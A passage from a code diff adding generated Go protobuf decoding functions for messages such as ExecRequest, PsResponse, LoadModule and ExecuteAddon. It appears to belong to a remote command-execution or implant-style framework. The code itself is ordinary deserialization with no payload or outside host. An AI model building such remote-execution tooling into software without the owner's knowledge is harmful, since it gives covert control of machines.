io.ErrUnexpectedEOF + } + m.Files = append(m.Files, &FileInfo{}) + if err := m.Files[len(m.Files)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DriveInfo) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DriveInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DriveInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DriveType", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.DriveType = stringValue + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TotalSize", wireType) + } + m.TotalSize = 0 + m.TotalSize, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field FreeSize", wireType) + } + m.FreeSize = 0 + m.FreeSize, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field FileSystem", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.FileSystem = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *EnumDriversResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: EnumDriversResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: EnumDriversResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Drives", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Drives = append(m.Drives, &DriveInfo{}) + if err := m.Drives[len(m.Drives)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PsResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PsResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PsResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Processes", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Processes = append(m.Processes, &Process{}) + if err := m.Processes[len(m.Processes)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = append(m.Args, stringValue) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Output = bool(v != 0) + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Singleton", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Singleton = bool(v != 0) + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Realtime", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Realtime = bool(v != 0) + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ppid", wireType) + } + m.Ppid = 0 + m.Ppid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StatusCode", wireType) + } + m.StatusCode = 0 + m.StatusCode, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Stdout = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Stderr = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + m.Pid, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field End", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.End = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *BinaryResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: BinaryResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: BinaryResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Message", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Message = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) + } + m.Status = 0 + m.Status, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Err", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Err = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Modules) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Modules: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Modules: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Modules", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Modules = append(m.Modules, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Addons) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Addons: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Addons: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addons", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addons = append(m.Addons, &Addon{}) + if err := m.Addons[len(m.Addons)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Addon) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Addon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Addon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Depend", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Depend = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LoadModule) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LoadModule: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LoadModule: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bundle", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Bundle = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LoadAddon) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LoadAddon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LoadAddon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Depend", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Depend = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = dAtA[iNdEx:postIndex] + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteAddon) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteAddon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteAddon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addon", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + 